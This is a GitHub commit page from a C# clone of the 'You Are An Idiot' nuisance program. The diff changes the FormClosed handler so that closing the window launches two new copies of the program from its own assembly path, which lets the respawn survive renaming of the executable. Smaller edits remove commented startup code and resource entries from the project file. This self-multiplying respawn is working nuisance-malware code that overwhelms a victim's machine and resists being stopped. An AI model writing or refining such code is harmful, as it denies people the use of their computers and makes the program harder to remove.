Skip to content

Commit

Permalink
allow changing executable name
Browse files Browse the repository at this point in the history
  • Loading branch information
Justa authored and Justa committed Feb 21, 2023
1 parent 2c5970c commit 8dfc099
Show file tree
Hide file tree
Showing 3 changed files with 3 additions and 11 deletions.
4 changes: 2 additions & 2 deletions youareanidiot/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -118,8 +118,8 @@ public Rectangle GetScreen()
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
Program.stopaudio();
Process.Start("youareanidiot.exe");
Process.Start("youareanidiot.exe");
Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);
Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);

}

Expand Down
4 changes: 1 addition & 3 deletions youareanidiot/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -22,9 +22,7 @@ internal static class Program
[STAThread]
static void Main()
{
/*Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());*/

Form1 f = new Form1();
f.Show();

Expand Down
6 changes: 0 additions & 6 deletions youareanidiot/youareanidiot.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -80,14 +80,8 @@
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\idiot.gif" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\you-are-idiot.gif" />
</ItemGroup>
<ItemGroup>
<Content Include="TextFile1.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

0 comments on commit 8dfc099

Please sign in to comment.